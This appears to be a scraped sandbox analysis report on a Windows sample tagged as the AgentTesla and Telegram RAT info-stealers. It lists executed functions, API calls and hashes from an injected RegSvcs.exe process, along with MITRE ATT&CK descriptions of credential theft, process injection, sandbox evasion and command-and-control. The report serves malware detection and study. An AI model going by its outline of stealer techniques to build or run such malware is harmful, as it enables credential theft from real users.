Instruction Fuzzy Hash: 4941F4B1E05A548BFB5CDF6B9D4069AFAF3BFC9201F14C1BAD40DAA254EB3405868F05

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegSvcs.exePID: 6088, Parent PID: 5956COMMON

Execution Graph

Execution Coverage:	16.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.1%
Total number of Nodes:	357
Total number of Limit Nodes:	40

Executed Functions

Function 00E9F120 Relevance: 1.6, APIs: 1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameW.ADVAPI32(00000000,00000000), ref: 00E9F7B3

Memory Dump Source

Source File: 00000001.00000002.523870829.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e90000_RegSvcs.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: e3167de8cecb078db8ca7d5c5f74d0ffee5bae126db12ad3dc5660b8c0516a55
Instruction ID: 8e81fb13c90e025a53eb1300b46a4413965af21b673fcdef9dbb5a8f1b801d7a
Opcode Fuzzy Hash: e3167de8cecb078db8ca7d5c5f74d0ffee5bae126db12ad3dc5660b8c0516a55
Instruction Fuzzy Hash: 3B510374E102188FDF18CFA9C888BADBBB5BF48314F14812AE815BB355DB74A844CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0642D1C8 Relevance: 1.7, APIs: 1, Instructions: 196
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.529315447.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6420000_RegSvcs.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 47e6b870c5519dcd460aad00f0f8c46d9a75485662b8a1a754fc1270145e45ff
Instruction ID: 5b1d0b2b88fde176a7cafb92f7c94b4dead7896cd7572ad5965aaf060db44142
Opcode Fuzzy Hash: 47e6b870c5519dcd460aad00f0f8c46d9a75485662b8a1a754fc1270145e45ff
Instruction Fuzzy Hash: 357123B0A00B168FD7A4CF6AD44079ABBF1FF88204F60892AD45AD7A50D775E845CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00E9F4E8 Relevance: 1.6, APIs: 1, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.523870829.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b85e6c3e6f7a8bb7d71bc2eaddc4d40dd4184e57a6b70975d7e5366a1ccd49f2
Instruction ID: 546f7d386d1a51f7af60da5e95d01cd64b52ca3db4e1666472f732fd84b4a76d
Opcode Fuzzy Hash: b85e6c3e6f7a8bb7d71bc2eaddc4d40dd4184e57a6b70975d7e5366a1ccd49f2
Instruction Fuzzy Hash: D1513374E102188FDF18CFA9C894BEDBBB5BF48314F14812AE815BB355D7749844CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00E9F66D Relevance: 1.6, APIs: 1, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameW.ADVAPI32(00000000,00000000), ref: 00E9F7B3

Memory Dump Source

Source File: 00000001.00000002.523870829.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e90000_RegSvcs.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 0402d7ebe40624f0c4afe868cbed06243e56d2e96f61b4a22e686d864a2d9b92
Instruction ID: 92da3aca61dbebc95f5d172aa4dea2563f7459cff0866601f80a1a9c9a8fa4e8
Opcode Fuzzy Hash: 0402d7ebe40624f0c4afe868cbed06243e56d2e96f61b4a22e686d864a2d9b92
Instruction Fuzzy Hash: 43512374E102188FDF18CFA9D888BEEBBB5BF48314F14812AE819BB355D7749844CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00E9F4F4 Relevance: 1.6, APIs: 1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameW.ADVAPI32(00000000,00000000), ref: 00E9F7B3

Memory Dump Source

Source File: 00000001.00000002.523870829.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e90000_RegSvcs.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 1d0d8401f08c73b0874e67f7755e9904bf2b6c0a6737c6e23363ab2da0a44595
Instruction ID: 55d97a82c9b239e0d9bff3efdda139d90fd6e4a81bbf028074676582c39862a1
Opcode Fuzzy Hash: 1d0d8401f08c73b0874e67f7755e9904bf2b6c0a6737c6e23363ab2da0a44595
Instruction Fuzzy Hash: 14510374E102188FDF18CFA9C888BADBBB5BF48314F54812AE815BB355D774A844CB95

Uniqueness

Uniqueness Score: -1.00%

Function 068D3370 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 068D3482

Memory Dump Source

Source File: 00000001.00000002.529636623.00000000068D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_68d0000_RegSvcs.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: ead6f5f94dabb9778501adcb766c52988313f538f6316832a79f2ddca533147d
Instruction ID: b567c8f3f0353921c4cc754dc2e58f2ed2f85fd6ab77b454d93cc4eb29c19ccd
Opcode Fuzzy Hash: ead6f5f94dabb9778501adcb766c52988313f538f6316832a79f2ddca533147d
Instruction Fuzzy Hash: CE41EFB1D003099FDB14CF9AC984ADEFBB6BF48314F24812AE819AB210D7759885CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00E97585 Relevance: 1.6, APIs: 1, Instructions: 97
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 00E97677

Memory Dump Source

Source File: 00000001.00000002.523870829.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e90000_RegSvcs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: fcc6cf7821058c6e18aa694ef4d82f7246e39cbb422fecaae41a512df07d536a
Instruction ID: c1b50f5b5573be7e3f932eb1b15ed5c9b5bcecc98a511e8e4b36747ca434a341
Opcode Fuzzy Hash: fcc6cf7821058c6e18aa694ef4d82f7246e39cbb422fecaae41a512df07d536a
Instruction Fuzzy Hash: 914169B0D146588FDB10CFA9C98579EBBF1EB48304F108029E859FB385D7B8984ACF91

Uniqueness

Uniqueness Score: -1.00%

Function 00E95A04 Relevance: 1.6, APIs: 1, Instructions: 97
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 00E97677

Memory Dump Source

Source File: 00000001.00000002.523870829.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e90000_RegSvcs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 57c83bd2d81cc582f7dfc58298e7e46be5f22ec20ab7f63bad52bca20318e15a
Instruction ID: 1ebbbe1a8905fadb54a333a5057a4a7d3936918af4b4841560d9f6f162bc5e1b
Opcode Fuzzy Hash: 57c83bd2d81cc582f7dfc58298e7e46be5f22ec20ab7f63bad52bca20318e15a
Instruction Fuzzy Hash: 434156B0E146588FDB10CFA9C98579EBBF1EB48308F108029E849BB385D7B49849CF91

Uniqueness

Uniqueness Score: -1.00%

Function 068D426C Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 068D5B61

Memory Dump Source

Source File: 00000001.00000002.529636623.00000000068D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_68d0000_RegSvcs.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 738c46c6f0d1dfc2155a79048ebcdfe9cbffec6009c1d0f10093df03fc7b23e0
Instruction ID: 0eeb83eab3e014950448abbc44225b993a3f233ce5f61744e9c4660e04898487
Opcode Fuzzy Hash: 738c46c6f0d1dfc2155a79048ebcdfe9cbffec6009c1d0f10093df03fc7b23e0
Instruction Fuzzy Hash: 34413BB89003098FDB54CF59C888AAEBBF5FF88314F24C459D519AB361D775A841CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06423C78 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,06423C46,?,?,?,?,?), ref: 06423D07

Memory Dump Source

Source File: 00000001.00000002.529315447.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6420000_RegSvcs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 68327846264841dc16b7f67ba0994c1bb01c0190b39995a2af37dea4740adf24
Instruction ID: 0d3f83130d5f09c2cd48257077348924064bbfd0fd00efc58e30357f777fe061
Opcode Fuzzy Hash: 68327846264841dc16b7f67ba0994c1bb01c0190b39995a2af37dea4740adf24
Instruction Fuzzy Hash: 9A2107B59002199FDB10CF9AD984ADEBFF9EB48324F24841AE854A7350D3789944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 064236FC Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,06423C46,?,?,?,?,?), ref: 06423D07

Memory Dump Source

Source File: 00000001.00000002.529315447.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6420000_RegSvcs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 8c6c30997af4d59f257c31b999da1a5c85f21769415221a70608c911c0402d19
Instruction ID: 7445478bfe5ee5bdf2702673bba659cb99111748f89ad862847c077f2b8c1d83
Opcode Fuzzy Hash: 8c6c30997af4d59f257c31b999da1a5c85f21769415221a70608c911c0402d19
Instruction Fuzzy Hash: 982116B5D002199FDB10CF9AD984AEEBFF5EB48324F64841AE914B7310D378A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0642E3D8 Relevance: 1.6, APIs: 1, Instructions: 57
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?), ref: 0642E44A

Memory Dump Source

Source File: 00000001.00000002.529315447.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6420000_RegSvcs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: acb5f62dd54e24822dda28ecb41ae6865117bbdb4b6816c62e5713289282e763
Instruction ID: 333bdf3c59658273ffbdb914e7a0b92c5351bf955fdcdc4052d66a77498d349a
Opcode Fuzzy Hash: acb5f62dd54e24822dda28ecb41ae6865117bbdb4b6816c62e5713289282e763
Instruction Fuzzy Hash: B02114BAD002199FDB10CF9AC844ADEFBF5AB48314F54841AE419AB600C379A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0642C70C Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?), ref: 0642E44A

Memory Dump Source

Source File: 00000001.00000002.529315447.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6420000_RegSvcs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 17ef9daf699f4f9ff4410c7949b1af4de694f84cd5c26ea32528c1cf2eb9026a
Instruction ID: c5f788dd90e51bad07984ea79891c64f8ff8e684ef8db74d3b95fcc6eb48a181
Opcode Fuzzy Hash: 17ef9daf699f4f9ff4410c7949b1af4de694f84cd5c26ea32528c1cf2eb9026a
Instruction Fuzzy Hash: 141114B6D002198FDB10CF9AC844ADEFBF5EB48314F54842EE819B7610C375A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0642C644 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,0642D1DB), ref: 0642D40E

Memory Dump Source

Source File: 00000001.00000002.529315447.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6420000_RegSvcs.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 0aaedee527c27b2618c479aaaa1fa4780c76ff6d366e13609df3bb33c8facf4b
Instruction ID: e23771e44b7ad4971626978ac16f0ad61888eeb011d7979948d16331f8c81840
Opcode Fuzzy Hash: 0aaedee527c27b2618c479aaaa1fa4780c76ff6d366e13609df3bb33c8facf4b
Instruction Fuzzy Hash: 5B11F3B5D002598FDB10CF9AC844A9EBBF4EF48214F60841AD819B7610D375A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report g0PWOnCNZH.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\g0PWOnCNZH.exe.log

Static File Info

General

File Icon

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Windows Analysis Report
g0PWOnCNZH.exe

Function 014FC300 Relevance: 6.1, APIs: 4, Instructions: 122
threadCOMMON

Function 014FC310 Relevance: 6.1, APIs: 4, Instructions: 120
threadCOMMON

Function 073F87C0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Function 014FA028 Relevance: 1.7, APIs: 1, Instructions: 194
COMMON

Function 014F3DE8 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 014F5364 Relevance: 1.6, APIs: 1, Instructions: 95
COMMON

Function 073F84A8 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Function 014FC938 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Function 073F8220 Relevance: 1.6, APIs: 1, Instructions: 63
threadinjectionCOMMON

Function 073F85C8 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 014FC940 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Function 014F93D8 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Function 014FA488 Relevance: 1.6, APIs: 1, Instructions: 54
libraryCOMMON

Function 073F83B8 Relevance: 1.6, APIs: 1, Instructions: 53
memoryCOMMON

Function 073F8140 Relevance: 1.5, APIs: 1, Instructions: 49
threadCOMMON

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre